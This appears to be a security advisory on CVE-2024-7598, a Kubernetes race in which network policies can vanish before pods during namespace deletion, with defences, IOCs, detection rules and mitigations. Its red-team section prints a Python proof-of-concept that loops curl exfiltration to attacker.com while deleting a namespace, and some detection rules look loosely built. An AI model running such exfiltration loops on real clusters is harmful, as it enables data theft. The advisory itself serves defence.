CVE-2024-7598

Executive Summary

CVE-2024-7598 is a race condition vulnerability in Kubernetes that allows a malicious or compromised pod to bypass network policies during namespace deletion. The issue arises because the order of object deletion during namespace termination is undefined; network policies may be deleted before the pods they protect, creating a brief window where pods are running without enforced network restrictions. This can lead to unauthorized network access, data exfiltration, or lateral movement within the cluster. The CVSS score is 3.1 (Low), but the impact is context-dependent, especially in multi-tenant environments.

Supply Chain & Package Security

Kubernetes is a container orchestration platform distributed via multiple channels, including official binaries, package managers (e.g., apt, yum), and container images. The vulnerability affects the core Kubernetes control plane components (kube-apiserver, kube-controller-manager). Organizations should verify the integrity of their Kubernetes binaries using checksums and signatures from the official Kubernetes release page. No specific package manager (NPM, PyPI, Go, Ruby) is directly involved, but the Kubernetes ecosystem includes many third-party add-ons that may be affected.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 3.1 (Low)
• Attack Vector: Local (AV:L) – The attacker must have access to a pod within the cluster.
• Attack Complexity: High (AC:H) – Exploitation requires precise timing during namespace deletion.
• Privileges Required: Low (PR:L) – The attacker needs a compromised or malicious pod.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – Potential for limited data exposure.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Low, but elevated in multi-tenant clusters where namespace isolation is critical.

Deep Dive & Mechanics

The vulnerability is a race condition (CWE-362) in the Kubernetes namespace deletion process. When a namespace is deleted, the Kubernetes controller manager deletes all objects within that namespace. The order of deletion is not deterministic; network policies (NetworkPolicy resources) may be deleted before the pods they protect. This creates a window where pods are still running but network policies are absent, allowing unrestricted network traffic to and from those pods.

Root Cause: The Kubernetes namespace controller does not enforce a specific deletion order for network policies relative to pods. The race condition window is typically very short (milliseconds to seconds), but an attacker with a compromised pod can exploit it by continuously attempting to connect to external services or other namespaces during the deletion process.

Attack Scenario:

1. An attacker compromises a pod in a namespace with restrictive network policies.
2. The attacker triggers or waits for the namespace to be deleted (e.g., by exploiting another vulnerability or social engineering).
3. During namespace deletion, the network policy is deleted before the pod.
4. The attacker's pod can now initiate connections to any IP/port, potentially exfiltrating data or moving laterally.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The Kubernetes namespace controller (pkg/controller/namespace/namespace_controller.go) deletes objects in an arbitrary order. The relevant code snippet (simplified):

func (nm *NamespaceController) deleteNamespace(namespace string) error {
    // Delete all resources in the namespace
    for _, resource := range nm.discoveryResources {
        // Order is not guaranteed
        nm.deleteResource(resource, namespace)
    }
    return nil
}

Patched Code (Hypothetical): A patch would ensure network policies are deleted after pods, or that pods are terminated before network policies are removed. For example:

func (nm *NamespaceController) deleteNamespace(namespace string) error {
    // Delete pods first
    nm.deleteResource("pods", namespace)
    // Then delete network policies
    nm.deleteResource("networkpolicies", namespace)
    // Delete remaining resources
    for _, resource := range nm.discoveryResources {
        if resource != "pods" && resource != "networkpolicies" {
            nm.deleteResource(resource, namespace)
        }
    }
    return nil
}

Note: As of the advisory, no official patch has been released. The above is a conceptual fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a compromised pod in a Kubernetes cluster.
• The pod's namespace must be scheduled for deletion (e.g., via kubectl delete namespace <ns>).

Exploitation Steps:

1. Deploy a malicious pod in the target namespace.
2. Continuously attempt to connect to external services (e.g., curl http://attacker.com/exfil).
3. Trigger namespace deletion (if not already happening).
4. During the race window, the connection will succeed.

Proof-of-Concept Script (Python):

import subprocess
import time
import threading

def exfiltrate():
    while True:
        try:
            # Attempt to connect to an external server
            subprocess.run(["curl", "-s", "http://attacker.com/exfil?data=secret"], timeout=1)
        except:
            pass
        time.sleep(0.1)

# Start exfiltration thread
thread = threading.Thread(target=exfiltrate)
thread.start()

# Trigger namespace deletion (requires kubectl access)
subprocess.run(["kubectl", "delete", "namespace", "target-ns"])

Note: This is a race condition; success is probabilistic.

Blue Team (Detection & Defense)

Detection:

• Monitor for rapid namespace deletions followed by unexpected outbound connections.
• Use Kubernetes audit logs to detect deletion events and subsequent network anomalies.

Defense:

• Implement admission controllers to prevent namespace deletion if pods are still running.
• Use network policies with podSelector: {} to apply default-deny rules that persist even if specific policies are deleted.
• Enable Kubernetes Pod Security Standards (PSS) to restrict pod capabilities.

Indicators of Compromise (IOCs)

• Network: Unexpected outbound connections from pods in a namespace that is being deleted.
• Logs: Kubernetes audit log entries showing delete events for networkpolicies followed by delete events for pods in the same namespace.
• Process: Pods running curl, wget, or other network tools during namespace deletion.
• File: No specific file IOCs.

Detection Engineering

YARA Rule

rule CVE_2024_7598_K8s_Namespace_Deletion {
    meta:
        description = "Detects attempts to exploit CVE-2024-7598 by monitoring for rapid namespace deletion and network policy removal"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7598"
    strings:
        $k8s_audit = "kubernetes.io/namespace" nocase
        $delete_op = "\"verb\":\"delete\"" nocase
        $network_policy = "networkpolicies" nocase
        $pod = "pods" nocase
    condition:
        all of ($k8s_audit, $delete_op, $network_policy) and $pod
}

Sigma Rule

title: Kubernetes Namespace Deletion with Network Policy Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2024-7598 by monitoring for namespace deletion events followed by network policy removal before pod termination.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7598
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        verb: "delete"
        objectRef.resource: "namespaces"
    condition: selection
    timeframe: 5s
falsepositives:
    - Legitimate namespace cleanup operations
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7598 Kubernetes Network Policy Bypass - Outbound Connection During Namespace Deletion"; flow:to_server; content:"|48 54 54 50 2f|"; http_method; content:"GET"; http_uri; content:"exfil"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Apply Pod Security Standards: Use the restricted policy to limit pod capabilities.
2. Default-Deny Network Policies: Implement a default-deny network policy that applies to all pods in a namespace, ensuring it is not deleted before pods.
3. Admission Controllers: Use OPA/Gatekeeper or Kyverno to prevent namespace deletion if pods are still running.
4. Monitor Audit Logs: Enable Kubernetes audit logging and alert on namespace deletion events.

Long-Term Fix:

• Wait for an official Kubernetes patch that ensures network policies are deleted after pods during namespace termination.
• Upgrade to a patched version once available.

Workaround:

• Avoid deleting namespaces with running pods; instead, scale down deployments first.

Valters IT